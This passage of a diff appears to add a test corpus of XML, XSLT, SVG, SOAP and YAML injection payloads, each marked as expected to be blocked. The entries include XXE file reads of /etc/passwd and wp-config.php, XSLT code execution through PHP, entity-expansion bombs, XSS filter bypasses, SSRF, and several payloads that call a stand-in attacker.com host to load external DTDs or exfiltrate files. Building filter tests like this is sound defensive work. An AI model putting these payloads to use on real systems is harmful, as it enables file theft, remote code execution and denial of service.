+ "notes": "Billion Laughs XML bomb",
543
+ "category": "Injection"
544
+ },
545
+ {
546
+ "id": "INJ-XXE-432",
547
+ "payload": "<!DOCTYPE r [<!ENTITY % pe_1 \"<!---->\"><!ENTITY % pe_2 \"&#37;pe_1;<!---->&#37;pe_1;\"><!ENTITY % pe_3 \"&#37;pe_2;<!---->&#37;pe_2;\"><!ENTITY % pe_4 \"&#37;pe_3;<!---->&#37;pe_3;\">%pe_4;]><r/>",
548
+ "tags": ["xxe", "dos", "parameter-entity"],
549
+ "expected_block": true,
550
+ "severity_hint": "High",
551
+ "notes": "Parameter entity laugh attack variant",
552
+ "category": "Injection"
553
+ },
554
+ {
555
+ "id": "INJ-XXE-433",
556
+ "payload": "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:php=\"http://php.net/xsl\"><xsl:template match=\"/\"><xsl:copy-of select=\"document('/etc/passwd')\"/></xsl:template></xsl:stylesheet>",
557
+ "tags": ["xslt", "xxe", "file-read", "php"],
558
+ "expected_block": true,
559
+ "severity_hint": "Critical",
560
+ "notes": "XSLT file read via document()",
561
+ "category": "Injection"
562
+ },
563
+ {
564
+ "id": "INJ-XXE-434",
565
+ "payload": "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:php=\"http://php.net/xsl\"><xsl:template match=\"/\"><xsl:value-of select=\"php:function('passthru','ls -la')\"/></xsl:template></xsl:stylesheet>",
566
+ "tags": ["xslt", "rce", "php"],
567
+ "expected_block": true,
568
+ "severity_hint": "Critical",
569
+ "notes": "XSLT RCE via PHP function",
570
+ "category": "Injection"
571
+ },
572
+ {
573
+ "id": "INJ-XXE-435",
574
+ "payload": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"300\" version=\"1.1\" height=\"200\"><image xlink:href=\"expect://ls\"></image></svg>",
575
+ "tags": ["xxe", "svg", "expect", "rce"],
576
+ "expected_block": true,
577
+ "severity_hint": "Critical",
578
+ "notes": "XXE in SVG with expect wrapper",
579
+ "category": "Injection"
580
+ },
581
+ {
582
+ "id": "INJ-XXE-436",
583
+ "payload": "<?xml version=\"1.0\" standalone=\"yes\"?><!DOCTYPE test [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]><svg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\"><text font-size=\"16\" x=\"0\" y=\"16\">&xxe;</text></svg>",
584
+ "tags": ["xxe", "svg", "file-read"],
585
+ "expected_block": true,
586
+ "severity_hint": "Critical",
587
+ "notes": "XXE inside SVG file",
588
+ "category": "Injection"
589
+ },
590
+ {
591
+ "id": "INJ-XXE-437",
592
+ "payload": "<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM \"http://attacker.com/\">%dtd;]><xxx/>]]></foo></soap:Body>",
593
+ "tags": ["xxe", "soap", "cdata"],
594
+ "expected_block": true,
595
+ "severity_hint": "Critical",
596
+ "notes": "XXE inside SOAP body CDATA",
597
+ "category": "Injection"
598
+ },
599
+ {
600
+ "id": "INJ-XXE-438",
601
+ "payload": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><!DOCTYPE cdl [<!ELEMENT cdl ANY><!ENTITY % asd SYSTEM \"http://attacker.com/xxe.dtd\">%asd;%c;]>",
602
+ "tags": ["xxe", "xlsx", "docx", "office"],
603
+ "expected_block": true,
604
+ "severity_hint": "Critical",
605
+ "notes": "XXE in Office documents (XLSX/DOCX workbook.xml)",
606
+ "category": "Injection"
607
+ },
608
+ {
609
+ "id": "INJ-XXE-439",
610
+ "payload": "<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>",
611
+ "tags": ["xxe", "xss", "cdata", "bypass"],
612
+ "expected_block": true,
613
+ "severity_hint": "High",
614
+ "notes": "CDATA XSS injection in XML",
615
+ "category": "Injection"
616
+ },
617
+ {
618
+ "id": "INJ-XXE-440",
619
+ "payload": "<xml ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></xml><SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>",
620
+ "tags": ["xxe", "xss", "datasrc", "ie"],
621
+ "expected_block": true,
622
+ "severity_hint": "High",
623
+ "notes": "XML DATASRC XSS (IE specific)",
624
+ "category": "Injection"
625
+ },
626
+ {
627
+ "id": "INJ-XXE-441",
628
+ "payload": "<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://attacker.com/xss.htc\"><xss:xss>XSS</xss:xss></HTML>",
629
+ "tags": ["xxe", "xss", "htc", "import"],
630
+ "expected_block": true,
631
+ "severity_hint": "High",
632
+ "notes": "XML namespace HTC import XSS",
633
+ "category": "Injection"
634
+ },
635
+ {
636
+ "id": "INJ-XXE-442",
637
+ "payload": "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE doc [<!ELEMENT test ANY><!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///C:/htdocs/wp-config.php\">]><doc><test>&xxe;</test></doc>",
638
+ "tags": ["xxe", "php", "wordpress", "config"],
639
+ "expected_block": true,
640
+ "severity_hint": "Critical",
641
+ "notes": "XXE to read WordPress config via PHP filter",
642
+ "category": "Injection"
643
+ },
644
+ {
645
+ "id": "INJ-XXE-443",
646
+ "payload": "<!ENTITY % int \"<!ENTITY &#37; trick SYSTEM 'http://127.0.0.1:80/?%file;'>\">%int;",
647
+ "tags": ["xxe", "parameter-entity", "oob"],
648
+ "expected_block": true,
649
+ "severity_hint": "Critical",
650
+ "notes": "Parameter entity OOB exfiltration trick",
651
+ "category": "Injection"
652
+ },
653
+ {
654
+ "id": "INJ-XXE-444",
655
+ "payload": "<?xml version=\"1.0\"?><!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM \"../../../boot.ini\"]><change-log><text>&systemEntity;</text></change-log>",
656
+ "tags": ["xxe", "traversal", "windows"],
657
+ "expected_block": true,
658
+ "severity_hint": "Critical",
659
+ "notes": "XXE with path traversal",
660
+ "category": "Injection"
661
+ },
662
+ {
663
+ "id": "INJ-XXE-445",
664
+ "payload": "<xml ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]></C></X></xml>",
665
+ "tags": ["xxe", "xss", "cdata", "split"],
666
+ "expected_block": true,
667
+ "severity_hint": "High",
668
+ "notes": "Split CDATA XSS bypass technique",
669
+ "category": "Injection"
670
+ },
671
+ {
672
+ "id": "INJ-XXE-446",
673
+ "payload": "<?xml version=\"1.0\" encoding=\"utf-16\" standalone=\"yes\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://attacker.com/</string></value></param></params></methodCall>",
674
+ "tags": ["xmlrpc", "pingback", "ssrf"],
675
+ "expected_block": true,
676
+ "severity_hint": "Medium",
677
+ "notes": "WordPress XMLRPC pingback SSRF",
678
+ "category": "Injection"
679
+ },
680
+ {
681
+ "id": "INJ-XXE-447",
682
+ "payload": "a: &a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]",
683
+ "tags": ["yaml", "dos", "bomb"],
684
+ "expected_block": true,
685
+ "severity_hint": "High",
686
+ "notes": "YAML billion laughs variant",
687
+ "category": "Injection"
688
+ },
689
+ {
690
+ "id": "INJ-XXE-448",
691
+ "payload": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE doc [<!ENTITY % dtd SYSTEM \"http://attacker.com\">%dtd;]><features name=\"my-features\" xmlns=\"http://karaf.apache.org/xmlns/features/v1.3.0\"/>",
692
+ "tags": ["xxe", "karaf", "cve-2018-11788"],
693
+ "expected_block": true,
694
+ "severity_hint": "Critical",
695
+ "notes": "Apache Karaf XXE CVE-2018-11788",
696
+ "category": "Injection"
697
+ },
698
+ {
699
+ "id": "INJ-XXE-449",
700
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:////dev/random\">]>",
701
+ "tags": ["xxe", "dos", "linux"],
702
+ "expected_block": true,
703
+ "severity_hint": "High",
704
+ "notes": "XXE DoS via /dev/random read",
705
+ "category": "Injection"
706
+ },
707
+ {
708
+ "id": "INJ-XXE-450",
709
+ "payload": "<!DOCTYPE xxe PUBLIC \"Random Text\" \"http://attacker.com/external.dtd\">",
710
+ "tags": ["xxe", "public", "dtd"],
711
+ "expected_block": true,
712
+ "severity_hint": "High",
713
+ "notes": "XXE with PUBLIC keyword",
714
+ "category": "Injection"
715
+ }
716
+ ]